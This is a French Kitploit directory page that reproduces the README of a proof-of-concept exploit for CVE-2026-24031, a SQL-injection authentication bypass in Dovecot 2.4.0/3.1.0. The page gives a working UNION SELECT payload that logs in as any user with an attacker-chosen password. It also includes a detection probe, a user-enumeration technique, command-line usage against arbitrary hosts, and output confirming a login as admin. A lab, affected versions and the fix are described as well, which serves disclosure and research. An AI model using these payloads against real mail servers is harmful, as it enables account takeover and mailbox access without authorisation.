Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24031 — PoC Python autonome pour le bypass de l'authentification SQL de Dovecot : se connecte en tant que n'importe quel utilisateur sans le véritable mot de passe et énumère les noms d'utilisateurs sur les serveurs IMAP/POP3 vulnérables 2.4.0/3.1.0. | Kitploit
Outils/GitHubGitHub/aramosf/cve-2026-24031
Authentification et AutorisationAnalyse des VulnérabilitésExploitationCollecte d'InformationsTests d'IntrusionSécurité des EmailsSécurité des Bases de Données
GitHubaramosf/cve-2026-24031

CVE-2026-24031

PoC Python autonome pour le bypass de l'authentification SQL de Dovecot : se connecte en tant que n'importe quel utilisateur sans le véritable mot de passe et énumère les noms d'utilisateurs sur les serveurs IMAP/POP3 vulnérables 2.4.0/3.1.0.

Voir le dépôt
2111il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-24031 : Contournement de l'authentification SQL de Dovecot (contournement de l'authentification + énumération d'utilisateurs)

Exploitation en direct de CVE-2026-24031

Ce dépôt contient un exploit de preuve de concept contournant l'authentification pour CVE-2026-24031, une injection SQL dans l'authentification SQL de Dovecot introduite comme une régression dans Dovecot 2.4.0 / 3.1.0. Dans le laboratoire Docker testé (Dovecot 2.4.0 + PostgreSQL), le PoC se connecte en tant que n'importe quel utilisateur sans connaître son véritable mot de passe, et peut également énumérer les utilisateurs.

Avertissement

Ce PoC réalise un contournement d'authentification non authentifié contre un serveur de messagerie. Utilisez-le uniquement contre un laboratoire vous appartenant ou contre des cibles que vous êtes explicitement autorisé à tester. Il ne modifie pas l'état du serveur, mais il exercera l'authentification et pourra laisser des entrées de connexion échouées dans les journaux.

Résumé de la vulnérabilité

L'authentification SQL de Dovecot est vulnérable lorsque l'administrateur vide la directive de configuration auth_username_chars (la définit à une valeur vide). auth_username_chars agit normalement comme un filtre d'entrée qui restreint les caractères autorisés dans un nom d'utilisateur avant que celui-ci ne soit interpolé dans la requête passdb SQL.

Avec auth_username_chars = vide, la valeur est transmise à la requête sans sql_escape_string(). Un nom d'utilisateur contrefait contenant des métacaractères SQL devient donc partie intégrante de la requête :

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

La charge utile suivante fait renvoyer à la requête une ligne pour VICTIM avec un mot de passe choisi par l'attaquant :

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} est analysé par Dovecot (et non par la base de données), donc le schéma de mot de passe est géré nativement et l'astuce fonctionne sur pgsql, mysql, mariadb et sqlite. L'envoi de 12345 comme mot de passe correspond alors, produisant LOGIN OK en tant que VICTIM sans connaître le véritable mot de passe.

La requête résultante est :

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

Versions affectées et corrigées

Il s'agit d'une régression introduite dans Dovecot 2.4.0 et également présente dans 3.1.0. Les versions antérieures 2.2.x / 2.3.x échappent le nom d'utilisateur et ne sont pas vulnérables. La faille est corrigée dans 2.4.3 et 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).

La vulnérabilité ne s'applique que lorsque toutes les conditions suivantes sont réunies :

  • Dovecot 2.4.0 ou 3.1.0 ;
  • un passdb SQL (driver = sql) utilisant pgsql, mysql, mariadb ou sqlite ;
  • auth_username_chars = (vide) — la condition de déclenchement définie par l'administrateur ;
  • accessibilité réseau au service IMAP / POP3 / ManageSieve (TLS ou non).

Le PoC a été validé contre Dovecot 2.4.0 (tag de version officiel, daeb6bc5) + PostgreSQL.

Processus d'exploitation

1. Détecter la condition de non-échappement

Authentifiez-vous avec le nom d'utilisateur ' OR '1'='1' -- et un mot de passe arbitraire. Sur un serveur vulnérable, la requête est modifiée, donc Dovecot renvoie a1 NO [UNAVAILABLE] Temporary authentication failure. au lieu du classique AUTHENTICATIONFAILED. C'est l'empreinte indiquant que le nom d'utilisateur est parvenu à la requête SQL sans échappement.

2. Contourner l'authentification avec UNION SELECT

Authentifiez-vous avec le nom d'utilisateur :

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

et le mot de passe 12345. La ligne UNION remplace la colonne password pour VICTIM, et {PLAIN} est analysé par Dovecot, donc la vérification du mot de passe aboutit.

3. Énumération des utilisateurs

Comme la forme du résultat de la requête diffère entre « l'utilisateur existe » et « l'utilisateur n'existe pas » (nombre de lignes et statut de la réponse), le serveur révèle si un nom d'utilisateur existe. Cela fonctionne sur tous les backends affectés.

Construction et exécution du PoC

Le PoC est un script Python 3 autonome (bibliothèque standard uniquement). Démarrez le laboratoire vulnérable et exécutez l'exploit :

root@kitploit:~
./run.sh

run.sh construit et démarre le laboratoire Docker (lab/docker-compose.yml), attend IMAPS sur 127.0.0.1:14193, puis exécute le PoC. Le laboratoire construit Dovecot 2.4.0 à partir de l'archive de version officielle avec une configuration intentionnellement vulnérable et une base de données PostgreSQL.

Étapes manuelles équivalentes :

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

Options du PoC :

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)

La base de données du laboratoire initialise ces utilisateurs : admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass et victim/supersecret. Le PoC usurpe l'identité de admin sans connaître son mot de passe.

Résultats reproduits

Le PoC a été validé de bout en bout dans le laboratoire Docker. Le véritable mot de passe de l'utilisateur admin est admin123 ; le PoC se connecte en tant que admin en utilisant 12345.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

La transcription complète et assainie, y compris les étapes de contrôle légitime et de détection du non-échappement, se trouve dans docs/example-output.txt.

Démonstration

La démonstration animée en haut de ce README (assets/CVE-2026-24031.gif) a été enregistrée à partir d'une session réelle contre le laboratoire en cours d'exécution. Régénérez-la avec :

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

demo.sh pilote la démonstration en direct ; demo.cast est l'enregistrement asciinema brut utilisé pour générer le GIF.

Correctif

L'avis de sécurité (OXDC-ADV-2026-0001, DOV-8781) est déjà publié en amont ; Dovecot 2.4.3 / 3.1.4 échappe le nom d'utilisateur avant de l'interpoler dans la requête SQL. Le correctif n'est donc pas dupliqué dans ce dépôt. Le durcissement recommandé consiste à ne jamais vider auth_username_chars, ou à mettre à niveau vers une version corrigée.

Références

  • Fiche CVE officielle (CVEProject cvelistV5)
  • Fiche cve.org
  • Avis de sécurité Dovecot OXDC-2026-0001 (dovecot.org)
  • Archive de la version 2.4.0 de Dovecot

Découverte de la vulnérabilité : whisperer@yeswehack. Recherche et implémentation de l'exploit : A. Ramos <[email protected]> (Twitter : @aramosf).

À propos

PoC du contournement de l'authentification SQL de Dovecot CVE-2026-24031 (contournement de l'authentification + énumération d'utilisateurs)

Télécharger l’outil
VersionStatut
Dovecot 2.2.xNon affecté (nom d'utilisateur échappé)
Dovecot 2.3.xNon affecté (nom d'utilisateur échappé)
Dovecot 2.4.0Vulnérable (régression : nom d'utilisateur non échappé)
Dovecot 2.4.3+Corrigé (nom d'utilisateur échappé)
Dovecot 3.1.0Vulnérable (même régression)
Dovecot 3.1.4+Corrigé (nom d'utilisateur échappé)